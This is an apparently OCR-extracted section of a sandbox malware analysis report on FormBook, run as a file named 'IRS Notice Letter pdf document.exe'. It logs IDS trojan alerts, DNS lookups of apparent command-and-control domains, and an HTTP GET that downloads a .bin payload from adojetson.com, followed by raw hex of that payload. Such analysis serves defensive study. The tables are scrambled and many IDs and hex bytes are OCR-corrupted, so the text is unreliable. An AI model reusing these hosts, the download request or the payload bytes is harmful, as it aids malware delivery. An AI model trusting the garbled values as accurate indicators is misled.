16:24:53.322417

01/11/21- TCP 1201
16:24:53.460948

01/11/21- TCP 2031453
16:25:14.508003

01/11/21- TCP 2031449
16:25:14.508003

01/11/21- TCP 2031412
16:25:14.508003

01/11/21- TCP 2031453
16:25:20.495931

01/11/21- TCP 2031449
16:25:20.495931

01/11/21- TCP 2031412
16:25:20.495931

01/11/21- TCP 2031453
16:25:25.984778

01/11/21- TCP 2031449
16:25:25.984778

01/11/21- TCP 2031412
16:25:25.984778

01/11/21- TCP 1201
16:25:36.900513

Network Port Distribution

Copyright null 2021

Data
klogelig
2.00
Sperry
Sperry
2.00

klogelig.exe

Country where language is spoken

United States

Message

ATTACK-RESPONSES 403 Forbidden

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

Source

Port

80

80

49735

49735

49735

49736

49736

49736

80

49737

49737

49737

49738

49738

49738

49739

49739

49739

80

Dest

Port

49732

49734

80

80

80

80

80

80

49736

80

80

80

80

80

80

80

80

80

49740

Map

Source IP Dest IP
34.102.136.180 192.168.2.4
34.102.136.180 192.168.2.4
192.168.2.4 172.67.209.95
192.168.2.4 172.67.209.95
192.168.2.4 172.67.209.95
192.168.2.4 34.102.136.180
192.168.2.4 34.102.136.180
192.168.2.4 34.102.136.180
34.102.136.180 192.168.2.4
192.168.2.4 147.255.30.94
192.168.2.4 147.255.30.94
192.168.2.4 147.255.30.94
192.168.2.4 153.126.209.136
192.168.2.4 153.126.209.136
192.168.2.4 153.126.209.136
192.168.2.4 216.58.207.179
192.168.2.4 216.58.207.179
192.168.2.4 216.58.207.179

34.102.136.180 192.168.2.4
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Total Packets: 77

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 11, 2021 16:23:14.375580072 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.563386917 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.563558102 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.564799070 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.758521080 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758580923 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758625031 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758665085 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758698940 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.758702040 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758730888 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.758744001 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758759975 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.758786917 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758820057 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.758835077 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758881092 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758882999 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.758919954 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.758949041 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.759027958 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.946043015 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946077108 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946147919 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.946213007 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.946422100 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946446896 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946468115 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946490049 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946505070 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.946583033 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.946628094 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946654081 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946674109 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946696997 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946721077 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.946799040 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.946938038 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946963072 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.946984053 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.947024107 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.947087049 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:14.947099924 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:14.947187901 CET 49730 80 192.168.2.4 198.187.29.67

Copyright null 2021 Page 26 of 39



Timestamp Source Port Dest Port Source IP Dest IP

Jan 11, 2021 16:23:15.133243084 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133299112 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133335114 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133336067 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133371115 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133378029 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133419991 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133435965 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133441925 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133502960 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133507967 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133548975 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133574963 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133588076 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133613110 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133629084 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133656025 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133667946 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133692980 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133708000 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133737087 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133745909 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133774042 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133785963 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133814096 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133840084 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133867025 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133878946 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133914948 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133924007 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133958101 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.133964062 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.133992910 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.134006977 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.134032965 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.134046078 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.134073973 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.134084940 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.134109974 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.134123087 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.134147882 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.134160995 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.134202957 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.134213924 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.134218931 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.134253979 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.134284973 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.134330034 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.323026896 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.323076963 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.323112011 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.323113918 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.323137045 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.323149920 CET 80 49730 198.187.29.67 192.168.2.4
Jan 11, 2021 16:23:15.323164940 CET 49730 80 192.168.2.4 198.187.29.67
Jan 11, 2021 16:23:15.323188066 CET 80 49730 198.187.29.67 192.168.2.4

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 11, 2021 16:22:40.501429081 CET 51703 53 192.168.2.4 8.8.8.8
Jan 11, 2021 16:22:40.558036089 CET 53 51703 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:41.734980106 CET 65248 53 192.168.2.4 8.8.8.8
Jan 11, 2021 16:22:41.782879114 CET 53 65248 8.8.8.8 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 11, 2021 16:22:43.079816103 CET 53723 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:43.127841949 CET 53 53723 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:44.754998922 CET 64646 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:44.802923918 CET 53 64646 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:48.201880932 CET 65298 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:48.249973059 CET 53 65298 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:50.577884912 CET 59123 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:50.634222984 CET 53 59123 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:51.736870050 CET 54531 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:51.784784079 CET 53 54531 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:52.901640892 CET 49714 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:52.952630043 CET 53 49714 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:54.162101984 CET 58028 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:54.219430923 CET 53 58028 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:55.313086987 CET 53097 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:55.360910892 CET 53 53097 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:56.570456028 CET 49257 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:56.621493101 CET 53 49257 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:57.768143892 CET 62389 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:57.827384949 CET 53 62389 8.8.8.8 192.168.2.4
Jan 11, 2021 16:22:59.401148081 CET 49910 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:22:59.448834896 CET 53 49910 8.8.8.8 192.168.2.4
Jan 11, 2021 16:23:14.129580021 CET 55854 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:23:14.350569010 CET 53 55854 8.8.8.8 192.168.2.4
Jan 11, 2021 16:23:29.520019054 CET 64549 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:23:29.568088055 CET 53 64549 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:06.476883888 CET 63153 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:06.545897961 CET 53 63153 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:11.567560911 CET 52991 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:11.634740114 CET 53 52991 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:21.866880894 CET 53700 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:22.008053064 CET 53 53700 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:27.274300098 CET 51726 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:27.434158087 CET 53 51726 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:32.450069904 CET 56794 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:32.512212992 CET 53 56794 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:37.728318930 CET 56534 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:37.877690077 CET 53 56534 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:42.882637978 CET 56627 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:42.963098049 CET 53 56627 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:47.984529972 CET 56621 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:48.069564104 CET 53 56621 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:53.202550888 CET 63116 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:53.279584885 CET 53 63116 8.8.8.8 192.168.2.4
Jan 11, 2021 16:24:58.479343891 CET 64078 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:24:58.557437897 CET 53 64078 8.8.8.8 192.168.2.4
Jan 11, 2021 16:25:03.605534077 CET 64801 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:25:03.811801910 CET 53 64801 8.8.8.8 192.168.2.4
Jan 11, 2021 16:25:08.863886118 CET 61721 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:25:08.938981056 CET 53 61721 8.8.8.8 192.168.2.4
Jan 11, 2021 16:25:13.948646069 CET 51255 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:25:14.312964916 CET 53 51255 8.8.8.8 192.168.2.4
Jan 11, 2021 16:25:19.726453066 CET 61522 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:25:20.187546015 CET 53 61522 8.8.8.8 192.168.2.4
Jan 11, 2021 16:25:25.863914013 CET 52337 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:25:25.938337088 CET 53 52337 8.8.8.8 192.168.2.4
Jan 11, 2021 16:25:31.220172882 CET 55046 53 192.168.2.4 8.8.8.8

Jan 11, 2021 16:25:31.276551008 CET 53 55046 8.8.8.8 192.168.2.4
DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Jan 11, 2021 16:23:14.129580021 CET 192.168.2.4 8.8.8.8 0xd268 Standard query  adojetson.com A (IP address) IN (0x0001)

)
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Timestamp

Jan 11, 2021 16:24:06.476883888 CET

Jan 11, 2021 16:24:11.567560911 CET

Jan 11, 2021 16:24:21.866880894 CET

Jan 11, 2021 16:24:27.274300098 CET

Jan 11, 2021 16:24:32.450069904 CET

Jan 11, 2021 16:24:37.728318930 CET

Jan 11, 2021 16:24:42.882637978 CET

Jan 11, 2021 16:24:47.984529972 CET

Jan 11, 2021 16:24:53.202550888 CET

Jan 11, 2021 16:24:58.479343891 CET

Jan 11, 2021 16:25:03.605534077 CET

Jan 11, 2021 16:25:08.863886118 CET

Jan 11, 2021 16:25:13.948646069 CET

Jan 11, 2021 16:25:19.726453066 CET

Jan 11, 2021 16:25:25.863914013 CET

Jan 11, 2021 16:25:31.220172882 CET

DNS Answers

Timestamp Source IP

Jan 11, 2021 8.8.8.8
16:23:14.350569010

CET

Jan 11, 2021
16:23:14.350569010
CET

8.8.8.8

Jan 11, 2021
16:24:06.545897961
CET

8.8.8.8

Jan 11, 2021
16:24:11.634740114
CET

8.8.8.8

Jan 11, 2021
16:24:11.634740114
CET

8.8.8.8

Jan 11, 2021
16:24:22.008053064
CET

8.8.8.8

Jan 11, 2021
16:24:27.434158087
CET

8.8.8.8

Jan 11, 2021
16:24:32.512212992
CET

8.8.8.8

Jan 11, 2021
16:24:32.512212992
CET

8.8.8.8

Jan 11, 2021
16:24:37.877690077
CET

8.8.8.8

Jan 11, 2021 8.8.8.8
16:24:42.963098049

CET

Jan 11, 2021
16:24:48.069564104
CET

8.8.8.8

Jan 11, 2021
16:24:48.069564104
CET

8.8.8.8

Copyright null 2021

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Source IP

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0xd268

0xd268

0xb469

0x5723

0x5723

0x5922

0x2045

Ox716d

Ox716d

0x53fh

0x27¢c7

0x99e9

0x99e9

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Server failure

(@)

Name error (3)

No error (0)

No error (0)

Trans ID

0xb469

0x5723

0x5922

0x2045

Ox716d

0x53fb

0x27¢c7

0x99e9

Oxeefa

0x9eb0

0x7f82

Oxc56e

0xd217

Ox5cad

0Ox778

0x25b5

Name

adojetson.com

adojetson.com

www.rappap
ortcos.com

wWww.emupri
sing.com

emuprising.com

www.myaarp
dentalpln.com

www.stereo
slide.com

www.alessa
ndrabortol
ussi.net

alessandra
bortolussi.net

www.prendi
miconcept.com

www.lobste
rmenforgol
den.com

www.kobums
network.com

www.kobums
network.com

OP Code
Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)

CName

none

emuprising.com

stereoslide.com

Name

www.rappap
ortcos.com

Www.emupri
sing.com

www.myaarp
dentalpln.com

www.stereo
slide.com

www.alessa
ndrabortolussi.net

www.prendi
miconcept.com

www.lobste
rmenforgol
den.com

www.kobums
network.com

www.rednbo
t.com

www.austin
scubaschool.com

www.wendya
llegaert.com

Www.virgin
iadoyle.com

www.aksays
tudios.com

www.aizimo
v.com

www.thebuz
ztraders.com

www.rappap
ortcos.com

Address

198.187.29.67

192.95.36.134

none

34.102.136.180

199.59.242.153

alessandrabortolussi.net

none

none

34.102.136.180

none

none

172.67.209.95

104.24.111.68

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Jan 11, 2021 8.8.8.8
16:24:48.069564104
CET

Jan 11, 2021 8.8.8.8
16:24:53.279584885
CET

Jan 11, 2021 8.8.8.8
16:24:53.279584885
CET

Jan 11, 2021 8.8.8.8
16:24:58.557437897
CET

Jan 11, 2021 8.8.8.8
16:25:08.938981056
CET

Jan 11, 2021 8.8.8.8
16:25:14.312964916
CET

Jan 11, 2021 8.8.8.8
16:25:20.187546015
CET

Jan 11, 2021 8.8.8.8
16:25:20.187546015
CET

Jan 11, 2021 8.8.8.8
16:25:25.938337088
CET

Jan 11, 2021 8.8.8.8
16:25:25.938337088
CET

Jan 11, 2021 8.8.8.8
16:25:31.276551008
CET

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

HTTP Request Dependency Graph

adojetson.com
www.emuprising.com
www.myaarpdentalpln.com
www.alessandrabortolussi.net
www.kobumsnetwork.com
www.rednbot.com
www.aksaystudios.com
www.aizimov.com
www.thebuzztraders.com

e o o o o o o o o

HTTP Packets

Trans ID

0x99e9

Oxeefa

Oxeefa

0x9eb0

Oxc56e

0xd217

Ox5cad

Ox5cad

Ox77f8

0x77f8

0x25b5

Session ID Source IP Source Port

0 192.168.2.4 49730
kBytes

Timestamp transferred Direction

Jan 11, 2021 168 ouT

16:23:14.564799070 CET

Copyright null 2021

Reply Code
No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name

www.kobums
network.com

www.rednbo
t.com

rednbot.com

www.austin
scubaschoo
l.com
WwWw.virgin
iadoyle.com

www.aksays
tudios.com

www.aizimo
v.com

aizimov.com

www.thebuz
ztraders.com

ghs.google
hosted.com

www.rappap
ortcos.com

CName

rednbot.com

none

none

aizimov.com

ghs.googlehosted.com

none

Destination IP Destination Port Process

198.187.29.67 80

Data

GET /vc/xdark_GOalsqF182.bin HTTP/1.1

Address
104.24.110.68

34.102.136.180

none

none

147.255.30.94

153.126.209.136

216.58.207.179

none

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

C:\Users\user\Desktop\IRS Notice Letter pdf document.exe

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: adojetson.com
Cache-Control: no-cache

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Jan 11, 2021
16:23:14.758521080 CET

Session ID

1

Timestamp

Jan 11, 2021
16:24:11.679864883 CET

Jan 11, 2021
16:24:11.818809986 CET

Session ID

2

Timestamp

Copyright null 2021

kBytes
transferred

169

Source IP

192.168.2.4
kBytes

transferred

354

355

Source IP

192.168.2.4

kBytes
transferred

Direction

IN

Source Port

49732

Direction

ouT

Source Port

49733

Direction

Data

HTTP/1.1 200 OK

Date: Mon, 11 Jan 2021 15:23:14 GMT

Server: Apache

Last-Modified: Thu, 07 Jan 2021 17:20:22 GMT

Accept-Ranges: bytes

Content-Length: 164928

Content-Type: application/octet-stream

Data Raw: 92 5d 85 49 84 d6 15 31 8f bf 03 9d 31 64 1b 1a Ob 61 ab 1f f7 al 57 45 e4 db 1f 82 26 03 a0 4e f2 4c¢ 85 Oc ed
caee52b3314994 a9 462 e9 77 8e €912 72 e8 26 a4 d1 4d 61 14 03 f9 07 86 8c cb d4 03 d9 d2 27 75 8¢ 16 67 fb d7
87 5f 5 14 b5 b2 d2 5f Oc ac 37 49 48 59 b0 56 10 98 85 4b ef ea d0 8a f6 88 d0 Ob bb 23 37 2d a7 4f 3f 9c a3 da 25 26 6¢
76 d8 91 d9 f3 e2 56 8 fO 4b 4f ff 2a d9 5a ab db ad c2 48 68 05 fc 99 65 77 f9 77 47 07 1d ba 4b ca 13 2a Oe 79 6d 5f 69
25 18 1c 40 b7 Of fc 5d 04 34 57 74 5b d4 2a 8c eb e4 1c 11 f7 99 41 91 7f 64 28 dd 2c 4 cf 1e 4d 00 99 c2 99 e3 62 3f 16
2d a8 1e 93 ee 8a d3 04 d3 46 15 2d 99 6f 1d 76 b7 79 ed c7 68 8f cb 11 43 54 fd 39 60 Ob €9 44 10 al 31 da 13 b2 eb b6
65 a2 47 67 55 8e ce 22 8a 1e 83 78 86 cf c6 37 01 02 db 95 ae 34 62 98 63 d2 07 17 ¢7 45 d7 a0 9d 85 5d 4b ca 10 9e
3b 52 66 b9 d3 d1 98 0d 3b bf ae 5a ac 66 b4 dd al 24 d9 46 b9 7b 6a 84 f6 al a9 d8 2f Of 87 27 d3 91 74 fe e6 98 49 94
cf e2 ed 14 6e 11 dc 24 b3 36 43 08 27 04 14 9c c6 dd ab 87 c0 26 80 el e3 cf ed 00 1c 7f 35 c7 a4 9d ed 76 60 55 e0 dc
12 1e d4 aa 60 ce 2f 4d 48 74 83 23 18 7c 9d 8a 82 f5 e8 21 Oc c0 e9 1d f3 3a 6e 5d 48 d7 72 41 67 93 04 7b b9 c5 fe 6a
6d dd 17 9e ef f7 al ab 85 68 9e {7 6e 56 6e f9 de 9f 49 8d dO 75 99 de b7 9e 32 7e 94 f9 3f €5 22 19 d5 6b 25 fb 70 dc ce
dd be 81 14 e5 ff 28 7e 8a 82 a3 95 74 ee 08 e2 6 6 da 73 51 be bf b2 83 2c €3 ca 2d 92 83 72 87 dd 58 29 57 22 70 94
39 9e 97 13 €5 78 3c b6 be 9f e4 60 43 4b 54 b6 91 4c eb f5 55 Oe 49 39 20 d4 91 dd 3 11 bd 6c €9 bb eb fb 4a 32 c3 e2
08 79 17 Oe 25 34 70 5¢ ¢7 4b a3 58 b6 aa ab 53 13 18 €8 40 06 33 de b4 91 d2 b8 d1 ec ab 3e 57 ac d6 9b d1 0d 4b 48
58 55 30 54 a8 fb 57 8a 5a 12 9b ee 26 al 17 04 el 15 37 2d 65 99 99 50 36 Ob 5a ab 40 98 a6 13 93 3b c¢9 da 7f c5 2d c7
cd 1e 3¢ 30 €6 9d b7 b3 d5 f6 d1 de 7b 38 c2 ca d1 70 Oc 6¢ 1e 2c 67 85 68 96 3d 68 b2 29 €9 20 4e c0 2f al 37 81 15 96
95 9a 8f 9e 8¢ 62 c5 f3 89 €9 74 24 1f b9 d7 0a 60 b4 1a al 1d 52 cb 2c 8d c8 83 fe 1e 65 1a ff 2c c0 Of dO c4 3d 81 31 82
2e dd cl a7 6d 2d 60 38 a8 6¢ f8 81 15 58 ac 5b 11 10 89 30 aa 3f 60 57 d4 6e fb 81 8a b4 63 9d fb a0 55 41 06 el f1 3a
6f 16 92 02 c8 €8 b0 47 0f 68 f7 57 45 cf ea 55 24 1b 39 2f d6 89 61 3a f4 e8 35 df 58 5b €6 b8 7a 3e 72 d1 98 1b 56 €8 b0
60 8d cb 14 8f 68 7b 28 f6 41 10 cb c5 24 83 5¢ d4 4a 35 9a bd 48 22 37 6e bd f3 d5 be 14 90 Oe 01 ce 72 d0 80 3f d6 85
8d 88 a6 20 96 4a ff 7d 1d 77 60 af 21 Oe df 51 ca 02 46 25 d7 99 2d 63 13 15 d6 96 17 69 7a 96 bb 8d 61 70 8f 09 f9 84
